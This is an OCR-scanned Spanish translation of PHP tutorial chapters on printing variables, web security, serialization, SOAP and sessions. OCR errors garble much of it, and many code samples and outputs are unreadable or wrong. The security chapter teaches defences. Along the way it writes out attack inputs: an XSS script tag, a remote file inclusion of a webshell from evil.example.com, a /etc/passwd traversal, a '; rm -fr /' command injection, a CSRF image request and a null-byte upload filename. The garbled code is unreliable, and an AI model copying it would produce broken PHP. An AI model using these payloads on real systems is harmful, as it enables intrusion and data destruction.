prin =) = Arreglos y objetos de salida para la depuración 


print r generará un formato legible por humanos de una matriz u objeto. 


Puede tener una variable que sea una matriz u objeto. Intentar emitirlo con Un ecno arrojará el 


error: 
Notice: Array to string conversion. En su lugar, puede usar la función print_r para volcar un 
formato legible por humanos de esta variable. 


Puede pasar verdadero como segundo parámetro para devolver el contenido como 
una cadena. 


Smyobject = new stdClass(); 


Smyobject->myvalue = 'Hello World'; 
Smyarray = [ "Hello", "World" ]; 
$mystring = "Hello World"; 


$myint = 42; 


// Using print_r we can view the data the array holds. 
print_r($myobject); 

print_r($myarray); 

PRA (Soy sipnin o) 

¡orcalioue 2 (Siyiliare) A 


Esto da como resultado lo siguiente: 


stdClass Object 
( 
[myvalue] => Hello World 
) 
Array 
( 
[0] => Hello 
[1] => World 
) 
Hello World 
42 
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Además, la salida de print_r se puede capturar como una cadena, en lugar de simplemente hacer 
eco. Por ejemplo, el siguiente código smyarray versión formateada de smyarray en una nueva 
variable: 


Sformatted_array = print_r($myarray, true); 


Tenga en cuenta que si está viendo la salida de PHP en un navegador y se interpreta como 
HTML, los saltos de línea no se mostrarán y la salida será mucho menos legible a menos que 
haga algo como 


calmo “are>"! , prlae_ (Sayazrzay, rime) . “¿/Qée>'"p 


Al abrir el código fuente de una página también se formateará su variable de la misma 
manera sin el uso de la etiqueta <pre> . 


Alternativamente, puede decirle al navegador que lo que está generando es texto simple y no 
HTML: 


header ('Content-Type: text/plain; charset=utf-8'); 
print_r($myarray); 


var dunp y : Yenera información de depuración legible para el ser 
humano sobre el contenido de los argumentos, incluido su 
tipo y valor 


La salida es más detallada en comparación con print_r porque también genera el tipo de la 
variable junto con su valor y otra información como ID de objeto, tamaños de matriz, longitudes 
de cadena, marcadores de referencia, etc. 


Puede usar va: dump para generar una versión más detallada para la depuración. 
var_dump ($myobject, $myarray, $mystring, $myint); 


La salida es más detallada: 


object (stdClass)+12 (1) ( 
["myvalue"]=> 
string(11) "Hello World" 
) 
array (2) ( 
[0]=> 
string(5) "Hello" 
[=> 
secing (Ss) "oz 
) 
string(11) "Hello World" 
int (42) 
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Nota : Si está utilizando xDebug en su entorno de desarrollo, la salida de var_dump está limitada / 
truncada de forma predeterminada. Consulte la documentación oficial para obtener más 
información sobre las opciones para cambiar esto. 


var_export () ” Código PHP salida válido 


var_export () vuelca una representación de pr analizable del elemento. 


Puede pasar verdadero como segundo parámetro para devolver el contenido a una 
variable. 


var_export ($myarray) ; 
var_export ($mystring); 
var_export ($myint); 


La salida es un código PHP válido: 


array ( 
O => 'Hello', 
=> 'World', 
) 
'Hello World' 
42 


Para poner el contenido en una variable, puedes hacer esto: 


Sarray_export = var_export ($myarray, true); 
Sstring_export = var_export ($mystring, true); 
Sint_export = var_export ($myint, 1); // any 'Truthy' value 


Después de eso, puedes mostrarlo así: 


printf ('$myarray = %s; %s', Sfarray_export, PHP_EOL); 
printf ('$mystring = $s; %s', $string_export, PHP_EOL); 
printf ('$myint = %s; %s', Sint_export, PHP_EOL); 


Esto producirá la siguiente salida: 


$myarray = array ( 
O => 'Hello', 
=> 'World', 
); 
Smystring = 'Hello World'; 
$myint = 42; 


printf vs sprintf 
prints es la salida una cadena con formato utilizando marcadores de posición 


sprint 
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devolverá la cadena formateada 


Smeme = "YE" — 


Al Mais e eells Pi to Suse. a siuisibale] 

eN vr "%s' is replaced by y 
¡cae (Mricllo Es, Bons de ejomnxasel, ase) — 
> Hello Jeff, How's it going? 


// Instead of outputting it directly, place it into a variable ($greeting) 
Sgreeting = sprintf ("Hello %s, How's it going?", $name); 

echo $greeting; 

> Hello Jeff, How's it going? 


También es posible formatear un número con estas 2 funciones. Esto se puede usar para 
formatear un valor decimal usado para representar el dinero de modo que siempre tenga 2 dígitos 
decimales. 


$money = 25.2; 
printf ('$01.2f', $money); 
> 20d 20 


Las dos funciones vorints Y vsprin+s funcionan COMO printf Y sprint , pero aceptan una cadena 
de formato y una matriz de valores, en lugar de variables individuales. 


Concatenación de cuerdas con eco. 


Puede usar la concatenación para unir las cadenas "de extremo a extremo" mientras las emite 
(CON echo O print por ejemplo). 


Puedes concatenar variables usando a . (punto / punto). 


// String variable 
Saca = "“Woael'+ 


// Concatenate multiple strings (3 in this example) into one and echo it once done. 


El Y Y SY - Three Individual string items 
cams “Saello Y. Sasms . Y, Mes o ses vou. <> y 
EN 4 1 = Concatenation Operators 


> "<p>Hello Joel, Nice to s you.</p>" 


Similar a la concatenación, el ecno (cuando se usa sin paréntesis) se puede usar para combinar 
cadenas y variables (junto con otras expresiones arbitrarias) usando una coma (,). 
Strcaconme = 19 


ccao You hee orzdezesd Y, Sirccncomae, * dlrs, Slrcucomae === il Y "Y 2 sus 
/ 4 4 4 - Note the commas 


> "You have ordered 1 item" 
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Concatenación de cadenas vs pasar múltiples argumentos a 
echo 
Pasar múltiples argumentos al comando echo es más ventajoso que la concatenación de cadenas 


en algunas circunstancias. Los argumentos se escriben en la salida en el mismo orden en que se 
pasan. 


adho "as toral less UY, $2 + Sy 


El problema con la concatenación es que el período . Tiene prioridad en la expresión. Si se 
concatena, la expresión anterior necesita paréntesis adicionales para el comportamiento correcto. 
La precedencia del período afecta también a los operadores ternarios. 


sacas "Mis toral des ",. (Be + $57) 


Salida de enteros grandes 


En sistemas de 32 bits, los enteros más grandes que pa»_1xT_max se convierten automáticamente 
a flotar. La salida de estos como valores enteros (es decir, notación no científica) se puede hacer 
COn prints , Utilizando la representación sica: , como se ilustra a continuación: 


somcacia (IL, 2. Sp Lo De E. Y L12l =s 59) 
Si = pow(1024, Sp); 
¡ca (MORA, E) o OS BS WU, Sa) Erie (91) y Bal, Sa) e 


seca Y Y, Si, au, 
) 
// outputs: 
pow(1024, 1) integer 1024 1024 1024 
pow(1024, 2) ¡integer 1048576 1048576 1048576 
pow(1024, 3) ¡integer 1073741824 1073741824 1073741824 
pow(1024, 4) double 1099511627776 OSOS O 
LOIS TITO 
pow(1024, 5) double 1.1258999068426E+15 1125899906842624 
1.1258999068426E+15 
pow(1024, 6) double 1.1529215046068E+18 1152921504606846976 
1.1529215046068E+18 
pow(1024, 9) double 1.2379400392854E+27 1237940039285380274899124224 
1.2379400392854E+27 
pow(1024, 12) double 1.3292279957849E+36 1329227995784915872903807060280344576 
IIS 292219918 ESO 


Nota: ¡cuidado con la precisión de flotación, que no es infinita! 


Si bien esto se ve bien, en este ejemplo artificial, todos los números se pueden representar como 
un número binario, ya que todos son potencias de 1024 (y, por lo tanto, 2). Ver por ejemplo: 


$n = pow(10, 27); 
prtac (Mes E OR, Ba, Sa) 
// 1.0E+27 1000000000000000013287555072 
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Genere una matriz multidimensional con índice y valor e imprima en la tabla 


AECAY 
( 

[0] => Array 

( 

id] => 13 
category_id] => 7 
name] => Leaving Of Liverpool 
description] => Leaving Of Liverpool 
price] => 1.00 
virtual] => 1 
active] => 1 
sort_order] => 13 
created] => 2007-06-24 14:08:03 
modified] => 2007-06-24 14:08:03 
image] => NONE 


[1] => Array 
( 


1d] => 16 

category_id] => 7 

name] => Yellow Submarine 
description] => Yellow Submarine 
price] => 1.00 

virtual] => 1 

active] => 1 

sort_order] => 16 


created] => 2007-06-24 14:10:02 
modified] => 2007-06-24 14:10:02 
image] => NONE 


Matriz multidimensional de salida con índice y valor en tabla 


<table> 

<?php 

foreach ($products as $key => $value) ( 

foreach ($value as $k => $v) ( 

ecuo Ste 
samo "arde Audio // Ge imc, 
echo "<td>$v</td>"; // Get value. 
scio </tr> l 


) 


> 
</table> 


Lea Salida del valor de una variable en línea: https://riptutorial.com/es/php/topic/6695/salida-del- 
valor-de-una-variable 
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Capítulo 389: Seguridad 


Introducción 


Como la mayoría de los sitios web utilizan PHP, la seguridad de la aplicación es un tema 
importante para que los desarrolladores de PHP protejan su sitio web, sus datos y sus clientes. 
Este tema cubre las mejores prácticas de seguridad en PHP, así como las vulnerabilidades y 
debilidades comunes con arreglos de ejemplo en PHP. 


Observaciones 


Ver también 


» Prevención de la inyección SQL con consultas parametrizadas en PDO 
» Declaraciones preparadas en mysali 
+ Proyecto de seguridad de aplicaciones web abiertas (OWASP) 


Examples 


Error al reportar 


Por defecto, PHP generará errores , advertencias y mensajes de aviso directamente en la página 
si ocurre algo inesperado en un script. Esto es útil para resolver problemas específicos con un 
script, pero al mismo tiempo genera información que no quiere que sus usuarios sepan. 


Por lo tanto, es una buena práctica evitar mostrar esos mensajes que revelarán información sobre 
su servidor, como su árbol de directorios, por ejemplo, en entornos de producción. En un entorno 
de desarrollo o prueba, estos mensajes aún pueden ser útiles para mostrar con fines de 
depuración. 

Una solución rápida 


Puede desactivarlas para que los mensajes no se muestren, sin embargo, esto hace que la 
depuración de su script sea más difícil. 


<?php 
ia ser (Melisaleyr ecrrozst, “"Q)> 
ES 


O cambiarlos directamente en el php.ini . 


display_errors = 0 


Errores de manejo 
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Una mejor opción sería almacenar esos mensajes de error en un lugar donde sean más útiles, 
como una base de datos: 


set_error_handler (function ($errno , Serrstr, Serrfile, S$errline)( 
tryl 
Spdo = new PDO("mysql:host=hostname;¡dbname=databasename", 'dbuser', 'dbpwd', [ 
PDO: :ATTR_ERRMODE => PDO: :ERRMODE_EXCEPTION 


D; 


if (Sstmt Spdo->prepare ("INSERT INTO 'errors' (no,msg,file,line) VALUES (2?,?,2?,2)"))( 
if (!$Sstmt->execute ([$errno, Serrstr, ferrfile, Serrline]))1( 


throw new Exception('Unable to execute query'); 


) 


) else ( 


throw new Exception('Unable to prepare query'); 
) 

) catch (Exception $e) ( 
error_log('Exception: ' . S$e->getMessage() . PHP_EOL . "Serrfile:S$errline:$errno | 


Semsiesuz 0) A 
) 
D; 


Este método registrará los mensajes en la base de datos y si eso falla en un archivo en lugar de 
hacerlo directamente en la página. De esta manera, puede hacer un seguimiento de lo que los 
usuarios están experimentando en su sitio web y notificarle de inmediato si algo va mal. 


Secuencias de comandos entre sitios (XSS) 


Problema 


Las secuencias de comandos entre sitios son la ejecución involuntaria de código remoto por parte 
de un cliente web. Cualquier aplicación web puede exponerse a XSS si recibe información de un 
usuario y la publica directamente en una página web. Si la entrada incluye HTML o JavaScript, se 
puede ejecutar un código remoto cuando el cliente web representa este contenido. 


Por ejemplo, si un tercero incluye un archivo JavaScript : 


// http://example.com/runme.js 
document .write("I'm running"); 


Y una aplicación PHP emite directamente una cadena que se le pasa: 


<?php 
celo '<dig>" , 5 CBE [ima] . e/caii>" e, 


Si un parámetro GET sin marcar contiene <script src="http://example.com/runme.js"></script>, la 
salida del script PHP será: 


<div><script src="http://example.com/runme.js"></script></div> 


El JavaScript de terceros se ejecutará y el usuario verá "Estoy ejecutando" en la página web. 
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Solución 


Como regla general, nunca confíe en la información proveniente de un cliente. Cada valor GET, 
POST y cookie puede ser cualquier cosa y, por lo tanto, debe validarse. Cuando emita cualquiera 
de estos valores, escápelos para que no se evalúen de manera inesperada. 


Tenga en cuenta que incluso en las aplicaciones más simples los datos se pueden mover y será 
difícil hacer un seguimiento de todas las fuentes. Por lo tanto, es una buena práctica escapar 
siempre de la salida. 


PHP proporciona algunas formas de escapar de la salida dependiendo del contexto. 
Funciones de filtro 


Las funciones de filtro de PHP permiten que los datos de entrada al script php se desinfecten o 
validen de muchas maneras . Son útiles al guardar o enviar datos de entrada del cliente. 


Codificación HTML 


htmlspecialchars Convertirá los "caracteres especiales HTML" en sus codificaciones HTML, lo que 
significa que no se procesarán como HTML estándar. Para arreglar nuestro ejemplo anterior 
usando este método: 


<?php 

selao '<dig>" , memlspecio elieis (8 Cr ima). "</ciy>p 

IN Dí 

celo “¿dis illiecce asu (o Eur, "ase y MR SINN IAE SICA, (CNA) . 1</eul>" A 


Sería de salida: 


<div>8$1lt;script src=8quot;http://example.com/runme.J]sg$quot;égt;elt;/scriptegt;</div> 


Todo lo que esté dentro de la etiqueta <aiv> no será interpretado como una etiqueta de JavaScript 
por el navegador, sino como un simple nodo de texto. El usuario verá con seguridad: 


<script src="http://example.com/runme.js"></script> 


Codificación URL 


Cuando se genera una URL generada dinámicamente, PHP proporciona la función ur1encode para 
urlencode CON seguridad URL válidas. Entonces, por ejemplo, si un usuario puede ingresar datos 
que se convierten en parte de otro parámetro GET: 


<?php 

Sinput = urlencode ($_GET['input']); 

UN Sí 

Sinput = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL); 

echo '<a href="http://example.com/page?input="" ., Sinput . '">Link</a>'; 
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Cualquier entrada maliciosa se convertirá en un parámetro de URL codificada. 


Usando bibliotecas externas especializadas o listas de OWASP AntiSamy 


A veces deseará enviar HTML u otro tipo de entradas de código. Deberá mantener una lista de 
palabras autorizadas (lista blanca) y no autorizada (lista negra). 


Puede descargar las listas estándar disponibles en el sitio web de OWASP AntiSamy . Cada lista 
es apta para un tipo específico de interacción (ebay api, tinyMCE, etc ...). Y es de código abierto. 


Existen bibliotecas para filtrar HTML y prevenir ataques XSS en el caso general y que funcionan 
al menos tan bien como las listas de AntiSamy con un uso muy fácil. Por ejemplo tienes 
purificador de HTML 


Inclusión de archivos 


Inclusión remota de archivos 


La inclusión de archivos remotos (también conocida como RFl) es un tipo de vulnerabilidad que 
permite a un atacante incluir un archivo remoto. 


Este ejemplo inyecta un archivo alojado remotamente que contiene un código malicioso: 


<?php 
include $_GET['page']; 


/vulnerable.php?page= http://evil.example.com/webshell.txt ? 


Inclusión de archivos locales 


La inclusión de archivos locales (también conocida como LFl) es el proceso de incluir archivos en 
un servidor a través del navegador web. 


<?php 
$page = 'pages/'.$_GET['page']; 
if (isset ($page)) ( 
include $page; 
) else ( 
include 'index.php'; 


) 


/vulnerable.php?page=../../../../etc/passwd 


Solución a RF y LFl: 


Se recomienda solo permitir la inclusión de archivos que usted haya aprobado, y limitarlos solo a 
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esos. 


<?php 
Sege = “uoes/" Bam [Mage amo 
Sallowed = ['pages/home.php','pages/error.php']; 


if(in_array ($page, $allowed)) ( 
include ($page) ; 

) else ( 
include('index.php'); 

) 


Inyección de línea de comando 


Problema 


De manera similar, la inyección SQL permite que un atacante ejecute consultas arbitrarias en una 
base de datos, la inyección de línea de comandos permite que alguien ejecute comandos del 
sistema que no sean de confianza en un servidor web. Con un servidor asegurado 
incorrectamente, esto le daría a un atacante un control completo sobre un sistema. 


Digamos, por ejemplo, que un script le permite a un usuario listar el contenido del directorio en un 
servidor web. 


SPES> 
<2olo syscca(Viles Y. 5 dan tocada 1) ES 
</pre> 


(En una aplicación del mundo real, se usarían las funciones u objetos incorporados de PHP para 
obtener el contenido de la ruta. Este ejemplo es para una simple demostración de seguridad). 


Uno esperaría obtener un parámetro de pat similar a /tmp . Pero como cualquier entrada está 
permitida, la pat podría ser ; rm -fr /. El servidor web ejecutaría entonces el comando. 


les ¡ám =tie / 


e intenta eliminar todos los archivos de la raíz del servidor. 


Solución 


Todos los argumentos de comando deben escaparse utilizando escapeshel11arg() O 
escapeshellcma () . Esto hace que los argumentos no sean ejecutables. Para cada parámetro, el 
valor de entrada también debe ser validado . 


En el caso más simple, podemos asegurar nuestro ejemplo con 


SPES> 


<?php system('ls ' . escapeshellarg($_GET['path'])); ?> 
</pre> 
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Siguiendo el ejemplo anterior con el intento de eliminar archivos, el comando ejecutado se 
convierte en 


ls Ue Tu == 0 


Y la cadena simplemente se pasa como un parámetro a 1s , en lugar de terminar el comando 1s y 
ejecutar rm . 


Se debe tener en cuenta que el ejemplo anterior ahora es seguro desde la inyección de 
comandos, pero no desde el cruce de directorios. Para solucionar esto, se debe verificar que la 
ruta normalizada comience con el subdirectorio deseado. 


PHP ofrece una variedad de funciones que se ejecutan los comandos del sistema, incluyendo 
exec , passthru , proc_open , shell_exec Y system. Todos deben tener sus entradas cuidadosamente 
validadas y escapadas. 
Fuga de la versión de PHP 
Por defecto, PHP le dirá al mundo qué versión de PHP está utilizando, por ejemplo, 

X-Powered-By: PHP/5.3.8 
Para arreglar esto puedes cambiar php.ini: 


expose_php = off 


O cambiar el encabezado: 


header ("X-Powered-By: Magic"); 
O si prefieres un método htaccess: 


Header unset X-Powered-By 


Si alguno de los métodos anteriores no funciona, también existe la función reader remove () que le 
brinda la capacidad de eliminar el encabezado: 


header_remove ('X-Powered-By'); 


Si los atacantes saben que está usando PHP y la versión de PHP que está usando, es más fácil 
para ellos explotar su servidor. 


Etiquetas de desmontaje 
strip tags es una función muy poderosa si sabes cómo usarla. Como método para evitar atagues 


de scripts entre sitios, existen mejores métodos, como la codificación de caracteres, pero eliminar 
etiquetas es útil en algunos casos. 
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Ejemplo básico 


Sstring = '<b>Hello,<> please remove the <> tags.</b>'; 


echo strip_tags($string); 


Salida cruda 


Hello, please remove the tags. 


Permitir etiquetas 


Digamos que desea permitir una determinada etiqueta pero no otras etiquetas, luego lo 
especificaría en el segundo parámetro de la función. Este parámetro es opcional. En mi caso, solo 
quiero que se pase la etiqueta <b> . 


Sstring = '<b>Hello,<> please remove the <br> tags.</b>'; 


seme sezlo Loge l(Ssezlme, “<> ) 7 


Salida cruda 


<b>Hello, please remove th tags.</b> 


Aviso (s) 


ÍTML Comentarios Tux y las etiquetas pue también se eliminan. Esto está codificado y no se puede 
cambiar con allowable_tags. 


En pue 5.3.4 y versiones posteriores, las etiquetas xuruL cierre automático se ignoran y solo se 
deben usar etiquetas que no sean de cierre automático en allowable_tags. Por ejemplo, para 
permitir tanto <br> <br/> , debe usar: 


<?php 
sexi tags (Simame, *<daz>") 
ES 


Solicitud de falsificación entre sitios 


Problema 


La falsificación de solicitudes entre sitios o csrr puede forzar a un usuario final a generar, sin 
saberlo, solicitudes maliciosas a un servidor web. Este vector de ataque puede ser explotado en 
las solicitudes POST y GET. Digamos, por ejemplo, que el punto final de url /delete.php?acent=12 
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elimina la cuenta tal como se pasa desde el parámetro acen: de una solicitud GET. Ahora si un 
usuario autenticado encontrará el siguiente script en cualquier otra aplicación 


<img src="http://domain.com/delete.php?acent=12" width="0" height="0" border="0"> 


La cuenta sería eliminada. 


Solución 


Una solución común a este problema es el uso de tokens CSRF . Los tokens CSRF están 
integrados en las solicitudes, de modo que una aplicación web puede confiar en que una solicitud 
provino de una fuente esperada como parte del flujo de trabajo normal de la aplicación. Primero, 
el usuario realiza alguna acción, como ver un formulario, que activa la creación de un token único. 
Un formulario de ejemplo que implementa esto podría verse como 


<form method="get" action="/delete.php"> 
<input type="text" name="acent" placeholder="acent number" /> 
<input type="hidden" name="csrf_token" value="<randomToken>" /> 


<input type="submit" /> 
</form> 


El servidor puede validar el token contra la sesión del usuario después del envío del formulario 
para eliminar las solicitudes maliciosas. 


Código de muestra 


Aquí está el código de ejemplo para una implementación básica: 


/* Code to generate a CSRF token and store the same */ 
<?php 
session_start (); 
function generate_token() ( 
// Check if a token is present for the current session 


1f(!lisset(S_SESSION["csrf_token"])) ( 
// No token present, generate a new on 


Stoken = random_bytes (64); 

S SESSION Wes colina] = Stoke, 
) else ( 

// Reuse the token 

$Stoken = $ SESSION["csrf_token"]; 


) 
return $token; 
) 
> 
<body> 
<form method="get" action="/delete.php"> 
<input type="text" name="accnt" placeholder="acecnt number" /> 


<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" /> 
<input type="submit" /> 
</form> 
</body> 
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/* Code to validate token and drop malicious requests */ 
<?php 
session_start (); 
a (Ss Our ese corea] l= Ss SESSION (Mes rokcar II) 4 
// Reset token 


tasar ($ SESSION Mesa rola) > 
die("CSRF token validation failed"); 


> 


Hay muchas bibliotecas y marcos ya disponibles que tienen su propia implementación de 
validación CSRF. Aunque esta es la implementación simple de CSRF, debe escribir algo de 
código para regenerar su token CSRF dinámicamente para evitar el robo y la fijación del token 
CSRF. 


Subiendo archivos 


Si desea que los usuarios carguen archivos en su servidor, necesita hacer un par de 
comprobaciones de seguridad antes de mover el archivo cargado a su directorio web. 


Los datos subidos: 


Esta matriz contiene datos enviados por el usuario y no es información sobre el archivo en sí. Si 
bien, por lo general, estos datos son generados por el navegador, se puede realizar fácilmente 
una solicitud de publicación al mismo formulario utilizando el software. 


Ss vidas rte meme" le 
SETE SEA: 
] 
] 


$S_FILES['file' 
S FILES['file' 


[sites Io? 


['"tmp_name']; 


* name - Verifica cada aspecto de ella 

* type - Nunca use estos datos. Puede ser recuperado usando funciones de PHP en su lugar. 
* size - Seguro de usar. 

* tmp_name - Seguro de usar. 


Explotando el nombre del archivo 
Normalmente, el sistema operativo no permite caracteres específicos en un nombre de archivo, 
pero al falsificar la solicitud puede agregarlos para que ocurran cosas inesperadas. Por ejemplo, 


vamos a nombrar el archivo: 


. ./script.pnps00.png 
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Mira bien ese nombre de archivo y deberías notar un par de cosas. 


1. El primero en darse cuenta es el ../ , totalmente ¡legal en un nombre de archivo y, al mismo 
tiempo perfectamente bien si va a mover un archivo desde el 1 de directorio a otro, lo que 


vamos a hacer ¿verdad? 


2. Ahora puedes pensar que estabas verificando las extensiones de archivo correctamente en 
tu script, pero este exploit se basa en la decodificación de URL, traduciendo 00 a un 
carácter nu11 , básicamente diciendo al sistema operativo, esta cadena termina aquí, 


eliminando .pny del nombre del archivo . 


Así que ahora he subido script .pnp a otro directorio, pasando las validaciones simples a las 
extensiones de archivo. También pasa por .htaccess archivos .htaccess que impide que los scripts 


se ejecuten desde su directorio de carga. 


Obtención segura del nombre y extensión del archivo 


Puede usar parhinto() para extrapolar el nombre y la extensión de manera segura, pero primero 


necesitamos reemplazar los caracteres no deseados en el nombre del archivo: 


// This array contains a list of characters not allowed in a filename 


Sillegal = cure caes (euasey ao (cia, rea (0,3 1)), [EN 14, Wu. UT, 1/0 
n>oa." "MA" " A 
DT , r 
Sfilenam =S Sue salada (alles sól, 1, S Tas alle cae 
Spathinfo = pathinfo($filename); 
Sextension = $pathinfo['extension'] ? $pathinfo['extension']:''; 
Sfilename = $pathinfo['filename'] ? $pathinfo['filename']:''; 


1f(!empty($extension) €£ !lempty ($filename))( 
echo $filename, fextension; 

) else ( 
die('file is missing an extension or name'); 


PA " ÓN 


Si bien ahora tenemos un nombre de archivo y una extensión que se pueden usar para 
almacenar, sigo prefiriendo almacenar esa información en una base de datos y le doy un nombre 


generado, por ejemplo, mas (unigid() .microtime ()) 


== + 
id title extension mime size filename time 
il myfile txt text/plain 1020 5bcdaedabfbd2810falb6f3118804d66 2017-03-11 
00 S/825/l 


Esto resolvería el problema de nombres de archivos duplicados y explotaciones imprevistas en el 
nombre del archivo. También haría que el atacante adivine dónde se ha almacenado ese archivo, 
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ya que no puede apuntarlo específicamente para su ejecución. 


Validación de tipo mime 


La verificación de una extensión de archivo para determinar qué archivo es no es suficiente, ya 
que un archivo llamado image .png puede contener un script php. Al verificar el tipo mime del 
archivo cargado contra una extensión de archivo, puede verificar si el archivo contiene el nombre 
al que se refiere su nombre. 


Incluso puede ir un paso más allá para validar las imágenes, y eso es realmente abrirlas: 


if($mime == 'image/jpeg' € Sextension == 'Jjpeg' || fextension == '3Jpg')( 
if(Simg = imagecreatefromjpeg ($filename))( 
imagedestroy ($img) ; 
) else ( 
die('image failed to open, could be corrupt or the file contains something else.'); 


Puede obtener el tipo mime utilizando una función incorporada o una clase . 


Lista blanca de tus subidas 


Lo más importante es que debe incluir en la lista blanca las extensiones de archivo y los tipos de 
mimo en función de cada formulario. 


function isFiletypeAllowed ($extension, $mime, array $allowed) 


( 


return ¡sset (S$allowed[$mimel]) € 
is_array ($allowed[$mime]) €£ 
in_array ($extension, $allowed[$mime]); 


) 


SallowedFiletypes = 
'image/png' => 'png' 1, 
'image/gif' => deals 1], 
"image/jpeg' => est) “mpeg” 1, 
1; 
var_dump (isFiletypeAllowed('3jpg', 'image/Jpeg', $allowedFiletypes)); 


Lea Seguridad en línea: https://riptutorial.com/es/php/topic/2781/seguridad 
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Capítulo 90: Serialización de objetos 


Sintaxis 


» serializar ($ objeto) 
* unserialize ($ objeto) 


Observaciones 


Todos los tipos de PHP excepto los recursos son serializables. Los recursos son un tipo de 
variable único que hace referencia a fuentes "externas", como las conexiones de base de datos. 


Examples 


Serializar / No serializar 


serialize() devuelve una cadena que contiene una representación de byte-stream de cualquier 
valor que se puede almacenar en PHP. unserialize () puede usar esta cadena para recrear los 
valores de las variables originales. 


Para serializar un objeto 


serialize($object); 


Para unserializar un objeto 


unserialize($object) 


Ejemplo 
Sarray = array(); 
Saray [Wa] = "Foo"; 
Seria MS] = Miau 
Saray [(WeW] ¡E "Baz"; 
Sarroay Mateo: 
SserializedArray = serialize($array); 


cho $serializedArray; //output: 
agite sisas Ss Moo? Siga Ss Misa Sails uo Msc sl 9 Woo 330 Moa o.) 


La interfaz serializable 


Introducción 


Las clases que implementan esta interfaz ya no admiten _ sleep () Y _wakeup() . El 
método serialize se llama cuando una instancia necesita ser serializada. Esto no 
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invoca a _ destruct () ni tiene ningún otro efecto secundario a menos que esté 
programado dentro del método. Cuando los datos no están unserializea , Se CONOCE la 
clase y se llama al método unserialize() apropiado como constructor en lugar de 
llamar a _ construct () . Si necesita ejecutar el constructor estándar, puede hacerlo en 
el método. 


Uso básico 


class obj implements Serializable ( 
private $data; 


¡uo lils Eumerlca —consizuee 0) 1 
Sthis->data = "My private data"; 
public function serialize() ( 


return serialize($this->data); 


public function unserialize($data) ( 
Sthis->data = unserialize($data); 


public function getData() ( 
return $this->data; 


) 


Sobj = new ob)3; 
$ser = serialize($0b3); 


ver cuio(Sser),) // Obicionies sicicaae (8) "Es3eYoas"s23s (831159 My ¡orivers elemra la pu 


$newobj = unserialize($ser); 


var_dump ($newobj->getData()); // Output: string(15) "My private data" 


Lea Serialización de objetos en línea: https://riptutorial.com/es/php/topic/1868/serializacion-de- 
objetos 
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Capítulo 91: Servidor SOAP 


Sintaxis 


* addFunction () // Registre una (o más) función en el controlador de solicitudes SOAP 
* addSoapHeader () // Agregar un encabezado SOAP a la respuesta 

* fault () // Emitir SoapServer falla indicando un error 

* getFunctions () // Devuelve la lista de funciones 

* handle () // Maneja una solicitud SOAP 

+ seiClass () // Establece la clase que maneja las solicitudes SOAP 

setObject () // Establece el objeto que se utilizará para manejar las solicitudes SOAP 
+ setPersistence () // Establece el modo de persistencia de SoapServer 


Examples 
Servidor SOAP básico 


function test ($x) 
( 
return $x; 


) 


$Sserver = new SoapServer (null, array('uri' => "http://test-uri/")); 
Sserver->addFunction ("test"); 
Sserver->handle(); 


Lea Servidor SOAP en línea: https://riptutorial.com/es/php/topic/5441/servidor-soap 


https://riptutorial.com/es/nome 


486 


Capítulo 92: Sesiones 


Sintaxis 


* void session_abort (void) 

* intsession_cache_expire ([string $ new_cache_expire]) 
+ void session_commit (void) 

» string session_create_id ([string $ prefix]) 


* bool session_decode ( 
+ bool session_destroy (void) 


string $ data) 


* string session_encode (void) 


* intsessio 
* array ses 


n_gc (void) 
sion_get_cookie params (void) 


» string session_id ([string $ id]) 

+ bool session_is registered (string $ name) 

* string session_module_name ([string $ module]) 

» string session_name ([string $ name]) 

* bool session_regenerate_id ([bool $ delete_old_session = false]) 

+ void session_register_shutdown (void) 

+ bool session_register (mixed $ name [, mixed $ ...]) 

* void session_reset (void) 

* string session_save_path ([string $ path]) 

* void session_set_cookie_ params (int $ lifetime [, string $ path [, string $ domain [, bool $ 


secure = 


false [, bool $ httponly = false]]]) 


* bool session_set_save_handler (callable $ abrir, callable $ cerrar, callable $ leer, callable $ 
escribir, callable $ destruir, callable $ gc [, callable $ create_sid [, callable $ validate_sid [, 
callable $ update_timestamp]]) 

» bool session_start ([array $ options = []]) 

* intsession_status (void) 

+ bool session_unregister (string $ nombre) 

+ void session_unset (void) 

* void session _write_close (void) 


Observaciones 


Tenga en cuen 


ta que llamar a session_start () incluso si la sesión ya ha comenzado dará como 


resultado una advertencia de PHP. 


Examples 


Manipulación de datos de sesión. 


La variable ss: 


ÑssIon es una matriz, y puede recuperarla o manipularla como una matriz normal. 
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<?php 
// Starting the session 
session_start(); 


// Storing the value in session 
SESE SS MON [SA Sa: 


// conditional usage of session values that may have been set in a previous session 
1f(!lisset($_SESSION["login"])) ( 
echo "Please login first"; 


exit; 
) 
// now you can use the login safely 
Suser = $_SESSION["login"]; 


// Getting a value from the session data, or with default value, 
Pb using the Null Coalescing operator in PHP 7 


$name = $_SESSION['name'] ?? 'Anonymous'; 


También vea Manipular una matriz para obtener más información sobre cómo trabajar en una 
matriz. 


Tenga en cuenta que si almacena un objeto en una sesión, solo se puede recuperar con gracia si 
tiene un autoloader de clase o si ya ha cargado la clase. De lo contrario, el objeto saldrá como el 
tipo _ pHP_Incomplete_Class , que más tarde puede provocar bloqueos . Ver espacios de nombre y 
carga automática sobre carga automática. 


Advertencia: 


Los datos de sesión pueden ser secuestrados. Esto se describe en: Pro PHP Security: de los 
principios de seguridad de la aplicación a la implementación de XSS Defence - Capítulo 7: 
Prevención del secuestro de sesiones Por lo tanto, se recomienda encarecidamente que nunca 
almacene información personal en s_sesstow . Esto incluiría críticamente los números de tarjetas 
de crédito , los identificadores emitidos por el gobierno y las contraseñas ; pero también se 
extendería a datos menos confiables, como nombres , correos electrónicos , números de 
teléfono , etc., lo que permitiría a un pirata informático hacerse pasar por un usuario legítimo. 
Como regla general, utilice valores sin valor / no personales, como identificadores numéricos, en 
los datos de sesión. 


Destruye toda una sesión. 
Si tienes una sesión que deseas destruir, puedes hacerlo CON session_destroy () 


/* 
Let us assume that our session looks like this: 
Array([firstname] => Jon, [id] => 123) 


We first need to start our session: 
E 


session_start (); 


/* 


We can now remove all the values from the 'SESSION' superglobal: 
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If you omitted this step all of the global variables stored in the 
superglobal would still exist even though the session had been destroyed. 
el) 
$_SESSION = array(); 


// 1£ it's desired to kill the session, also delete the session cookie. 


// Note: This will destroy the session, and not just the session data! 
if (ini_get("session.use_cookies")) ( 


Sparams = session_get_cookie_params(); 

setcookie(session_name(), '', time() -— 42000, 
Sparams["path"], $params["domain"], 
Sparams["secure"], $params["httponly"] 


